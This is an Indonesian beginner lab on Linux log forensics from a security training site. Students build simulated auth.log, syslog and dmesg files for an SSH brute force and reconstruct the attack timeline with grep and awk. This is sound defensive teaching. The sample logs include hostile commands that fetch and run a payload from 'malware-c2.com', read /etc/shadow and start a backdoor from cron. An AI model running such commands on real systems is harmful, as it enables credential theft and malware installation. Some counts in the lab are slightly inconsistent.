TDCTF Academy Logo TDCTF ACADEMY
@farishhz

Lab 7: Log Forensics Linux - Menganalisis System Log untuk Deteksi Insiden

Target Skill: Mahasiswa mampu menganalisis berbagai log Linux (syslog, auth.log, dmesg, journalctl) untuk mendeteksi dan merekonstruksi insiden keamanan
Tools: grep, awk, lnav, journalctl, dmesg
Durasi: 30 menit
Level: Beginner

Mengapa Log Forensics Penting?

Log adalah saksi bisu. Setiap kejadian di sistem Linux tercatat:

  • auth.log - siapa login, dari mana, berhasil/gagal
  • syslog - aplikasi, service, error messages
  • dmesg - kernel messages, hardware errors
  • journalctl - log terpusat systemd

Ketika serangan terjadi, log adalah sumber kebenaran pertama yang dilihat investigator.

Learning Objectives

  1. Memahami struktur dan lokasi system log Linux
  2. Menganalisis auth.log untuk deteksi brute force
  3. Menggunakan journalctl untuk query log systemd
  4. Mendeteksi anomali dari pola log
  5. Membuat timeline dari multiple log source

️ Tools & Setup

# Semua sudah tersedia di Ubuntu
which journalctl dmesg grep awk lnav || sudo apt install -y lnav

Langkah Praktikum

Step 1: Buat Sampel Log untuk Latihan

Kita buat skenario: seorang attacker berhasil masuk via SSH dan menjalankan perintah mencurigakan.

cd ~ && mkdir forensics-lab7 && cd forensics-lab7

# Auth.log simulasi
cat > auth.log << 'LOG'
Jun 11 08:00:01 server sshd[1000]: Server listening on 0.0.0.0 port 22.
Jun 11 08:05:23 server sshd[1001]: Failed password for invalid user admin from 192.168.1.200 port 54321 ssh2
Jun 11 08:05:28 server sshd[1002]: Failed password for invalid user admin from 192.168.1.200 port 54322 ssh2
Jun 11 08:05:33 server sshd[1003]: Failed password for invalid user admin from 192.168.1.200 port 54323 ssh2
Jun 11 08:05:38 server sshd[1004]: Failed password for invalid user admin from 192.168.1.200 port 54324 ssh2
Jun 11 08:05:43 server sshd[1005]: Failed password for invalid user admin from 192.168.1.200 port 54325 ssh2
Jun 11 08:05:48 server sshd[1006]: Failed password for invalid user root from 192.168.1.200 port 54326 ssh2
Jun 11 08:05:53 server sshd[1007]: Failed password for invalid user root from 192.168.1.200 port 54327 ssh2
Jun 11 08:05:58 server sshd[1008]: Failed password for invalid user root from 192.168.1.200 port 54328 ssh2
Jun 11 08:06:03 server sshd[1009]: Failed password for invalid user root from 192.168.1.200 port 54329 ssh2
Jun 11 08:06:08 server sshd[1010]: Failed password for invalid user root from 192.168.1.200 port 54330 ssh2
Jun 11 08:06:13 server sshd[1011]: Failed password for invalid user root from 192.168.1.200 port 54331 ssh2
Jun 11 08:06:18 server sshd[1012]: Failed password for invalid user root from 192.168.1.200 port 54332 ssh2
Jun 11 08:06:23 server sshd[1013]: Failed password for invalid user root from 192.168.1.200 port 54333 ssh2
Jun 11 08:06:28 server sshd[1014]: Failed password for invalid user root from 192.168.1.200 port 54334 ssh2
Jun 11 08:06:33 server sshd[1015]: Failed password for invalid user root from 192.168.1.200 port 54335 ssh2
Jun 11 08:06:38 server sshd[1016]: Failed password for invalid user root from 192.168.1.200 port 54336 ssh2
Jun 11 08:06:43 server sshd[1017]: Accepted password for root from 192.168.1.200 port 54337 ssh2
Jun 11 08:06:45 server sshd[1018]: Received disconnect from 192.168.1.200: 11: disconnected by user
Jun 11 08:07:01 server sudo:     root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/bin/bash -c whoami
Jun 11 08:07:05 server sudo:     root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/id
Jun 11 08:07:10 server sudo:     root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Jun 11 08:07:15 server sudo:     root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/cat /etc/passwd
Jun 11 08:07:20 server sudo:     root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/sbin/ss -tlnp
Jun 11 08:07:25 server sudo:     root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://malware-c2.com/payload.sh
Jun 11 08:07:30 server sudo:     root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/bin/bash /root/payload.sh
Jun 11 08:07:35 server sshd[1019]: Accepted password for root from 192.168.1.200 port 54338 ssh2
Jun 11 08:07:40 server sshd[1020]: Received disconnect from 192.168.1.200: 11: disconnected by user
Jun 11 08:08:00 server CRON[1021]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 11 08:08:00 server CRON[1021]: pam_unix(cron:session): session closed for user root
Jun 11 08:10:00 server sshd[1022]: Failed password for root from 10.0.0.99 port 44444 ssh2
Jun 11 08:10:05 server sshd[1023]: Failed password for root from 10.0.0.99 port 44445 ssh2
Jun 11 08:10:10 server sshd[1024]: Connection closed by 10.0.0.99 [preauth]
LOG

# Syslog simulasi
cat > syslog << 'LOG'
Jun 11 08:00:00 server rsyslogd: [origin software="rsyslogd"] start
Jun 11 08:05:00 server kernel: [12345.678901] device eth0 entered promiscuous mode
Jun 11 08:06:43 server kernel: [12346.123456] sshd[1017]: possible SYN flooding on port 22. Sending cookies.
Jun 11 08:07:25 server apt-get: warning - wget download initiated from unknown source
Jun 11 08:07:30 server bash: payload.sh: executed with root privileges
Jun 11 08:07:35 server kernel: [12347.000001] bash[1019]: segfault at 0 ip 00007f... sp 00007fff... error 4
Jun 11 08:07:40 server systemd: Started session-42.scope - Session 42 of user root
Jun 11 08:08:00 server cron: (root) CMD (/root/backdoor.sh)
Jun 11 08:10:00 server kernel: [12350.000000] firewall: DROP IN=eth0 OUT= MAC=... SRC=10.0.0.99 DST=... PROTO=TCP DPT=22
Jun 11 08:10:05 server kernel: [12351.000000] firewall: DROP IN=eth0 OUT= MAC=... SRC=10.0.0.99 DST=... PROTO=TCP DPT=22
LOG

# dmesg simulasi
cat > dmesg.log << 'LOG'
[    0.000000] Linux version 6.5.0-28-generic (buildd@lcy02-amd64)
[    3.456789] usb 1-1: new high-speed USB device number 2
[   10.123456] eth0: link up, 1000Mbps, full-duplex
[   12.345678] systemd[1]: Starting SSH Service...
[12345.678901] device eth0 entered promiscuous mode   ← PROMISCUOUS = NIC mode perubahan!
[12346.123456] sshd[1017]: possible SYN flooding on port 22
[12347.000001] bash[1019]: segfault at 0 ip 00007f...  ← Crash mencurigakan
[12350.000000] firewall: DROP IN=eth0 OUT=... SRC=10.0.0.99 DPT=22
LOG

echo "✅ Log samples created!"
echo "   - auth.log (36 lines)"
echo "   - syslog (11 lines)"
echo "   - dmesg.log (8 lines)"

Step 2: Analisis auth.log - Deteksi Brute Force

# 1. Cari semua percobaan login gagal
echo "=== Semua Failed Password ==="
grep "Failed password" auth.log

# 2. Hitung total percobaan per IP
echo ""
echo "=== Brute Force per IP ==="
grep "Failed password" auth.log | grep -oP 'from \K[0-9.]+' | sort | uniq -c | sort -rn

# 3. Hitung per user yang ditarget
echo ""
echo "=== Target Username ==="
grep "Failed password" auth.log | grep -oP 'for (invalid user )?\K[a-z]+' | sort | uniq -c | sort -rn

# 4. Cari login yang berhasil
echo ""
echo "=== Login Berhasil ==="
grep "Accepted password" auth.log

# 5. Timeline brute force
echo ""
echo "=== Timeline Brute Force (menit) ==="
grep "Failed password" auth.log | awk '{print $1, $2, $3}' | sort

Step 3: Analisis Perintah Attacker

# 6. Lihat semua perintah sudo yang dijalankan
echo "=== Perintah Sudo (Aksi Attacker) ==="
grep "sudo:" auth.log | grep -oP 'COMMAND=.*'

# 7. Urutan perintah - rekonstruksi tujuan attacker
echo ""
echo "=== Rekonstruksi Aksi Attacker ==="
echo "08:06:43 - Login via SSH (brute force berhasil)"
echo "08:06:45 - Disconnect (persiapan)"
echo "08:07:01 - whoami → konfirmasi akses root"
echo "08:07:05 - id → cek privilege"
echo "08:07:10 - cat /etc/shadow → curi hash password!"
echo "08:07:15 - cat /etc/passwd → curi daftar user"
echo "08:07:20 - ss -tlnp → cek port listening"
echo "08:07:25 - wget payload.sh → download malware!"
echo "08:07:30 - bash payload.sh → eksekusi malware!"

Step 4: Analisis syslog - Anomali Sistem

# 8. Cari anomali kernel
echo "=== Kernel Anomali ==="
grep -E "(promiscuous|segfault|SYN flooding)" syslog

# 9. Cari service mencurigakan
echo ""
echo "=== Service & Script Mencurigakan ==="
grep -E "(cron|payload|backdoor)" syslog

# 10. Cari aktivitas network
echo ""
echo "=== Aktivitas Network ==="
grep -E "(eth0|firewall|DROP)" syslog

Step 5: Analisis dmesg

# 11. Perubahan mode network card
echo "=== Analisis dmesg ==="
grep -E "(promiscuous|segfault|SYN)" dmesg.log

echo ""
echo "⚠️ Promiscuous mode = Network card merekam SEMUA traffic"
echo "   Ini indikasi packet sniffing / network tapping!"

Step 6: Timeline Terpadu

# 12. Gabungkan semua log jadi satu timeline
echo "=== FULL TIMELINE INSIDEN ==="
echo "WAKTU       | SUMBER     | KEJADIAN"
echo "-----------|------------|---------"
echo "08:00:00   | syslog     | rsyslogd start"
echo "08:05:00   | syslog     | eth0 → promiscuous mode (sniffing!)"
echo "08:05:23   | auth       | Mulai brute force SSH dari 192.168.1.200"
echo "08:06:43   | auth       | 16 attempts → BRUTE FORCE BERHASIL"
echo "08:06:43   | kernel     | SYN flooding detected"
echo "08:07:01   | auth/sudo  | whoami, id, cat /etc/shadow"
echo "08:07:10   | auth/sudo  | ⚠️ Steal /etc/shadow (password hashes)"
echo "08:07:25   | auth/sudo  | wget payload.sh (download malware)"
echo "08:07:30   | auth/sudo  | bash payload.sh (exec malware)"
echo "08:07:35   | kernel     | segfault (malware crash?)"
echo "08:08:00   | cron       | CMD /root/backdoor.sh (persistence)"
echo "08:10:00   | firewall   | Blocked IP 10.0.0.99 (scanner lain)"

️ Analisis & Pertanyaan

1. 3 Fase Serangan dari Log

Fase Waktu Aktivitas Bukti
Reconnaissance 08:05:00 Sniffing jaringan (promiscuous mode) dmesg + syslog
Initial Access 08:05:23 - 08:06:43 Brute force SSH (16 attempts) auth.log
Post-Exploitation 08:07:01 - 08:08:00 Ekstrak data + download malware + persistensi auth.log + syslog

2. Apa yang Attacker Lakukan?

1. Brute force SSH → berhasil sebagai root
2. Cek privilege → sudo/root
3. Cat /etc/shadow → curi password hashes
4. Download payload.sh dari malware-c2.com
5. Eksekusi payload.sh
6. Pasang cron job backdoor.sh (persistensi)

3. Indikator Kompromi (IOC)

IOC Detail
IP Attacker 192.168.1.200
User compromised root
File downloaded http://malware-c2.com/payload.sh
File created /root/backdoor.sh (via cron)
Data stolen /etc/shadow, /etc/passwd
Network Promiscuous mode enabled

Laporan Temuan

Finding 1: SSH Brute Force Successful (Critical)

Parameter Value
IP Sumber 192.168.1.200
User root
Attempts 16 failed → 1 success
Duration 80 detik (08:05:23 - 08:06:43)

Dampak: Akses root penuh ke server

Finding 2: Credential Theft & Malware Deployment (Critical)

Parameter Value
Data Stolen /etc/shadow (password hashes all users)
Malware URL http://malware-c2.com/payload.sh
Persistence Cron job: /root/backdoor.sh setiap menit
Network Anomaly eth0 → promiscuous mode

Dampak: Semua password user bisa di-crack + backdoor aktif

Korelasi OWASP / CWE / CAPEC

Kerangka ID Deskripsi
CWE CWE-778 Insufficient Logging
CWE CWE-521 Weak Password Requirements
CWE CWE-269 Improper Privilege Management
CWE CWE-522 Insufficiently Protected Credentials
CAPEC CAPEC-112 Brute Force
CAPEC CAPEC-50 Password Recovery
CAPEC CAPEC-578 Log Analysis

️ Remediasi

Masalah Solusi Implementasi
Brute force SSH fail2ban + non-root login apt install fail2ban
Root direct login Nonaktifkan PermitRootLogin no
Weak password Password policy + key only Gunakan SSH key saja
Promiscuous mode Monitor + alert auditd + custom rule
Log monitoring SIEM / centralized logging Wazuh, ELK, Graylog
File integrity AIDE / Tripwire Monitor perubahan file sistem 
# Implementasi cepat
sudo apt install -y fail2ban
sudo systemctl enable --now fail2ban

# Cek status
sudo fail2ban-client status sshd

Kesimpulan & Refleksi

Apa yang dipelajari:

  • Setiap kejadian di Linux tercatat di log files
  • auth.log adalah sumber pertama untuk deteksi brute force
  • Kombinasi syslog + auth.log + dmesg memberi gambaran utuh insiden
  • Investigator bisa merekonstruksi setiap langkah attacker dari log
  • Log tidak bisa berbohong - berbeda dengan statement manusia

Refleksi untuk mahasiswa:

"Log adalah saksi yang tidak bisa disuap. Attacker bisa hapus file, tapi log yang dikirim ke remote server tetap tersimpan. Sebagai administrator, biasakan centralized logging - karena server yang sudah diretas, log lokalnya sudah tidak bisa dipercaya."

Referensi

🔬 Lab 7 Selesai! Lanjut ke Lab 8: Steganography

Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

← Sebelumnya Lab 6: Browser Forensics - Merekonstruksi Aktivitas Browsing dari Browser Artifacts Selanjutnya → Lab 8: Steganography Dasar - Menyembunyikan dan Menemukan Data dalam File
PADA HALAMAN INI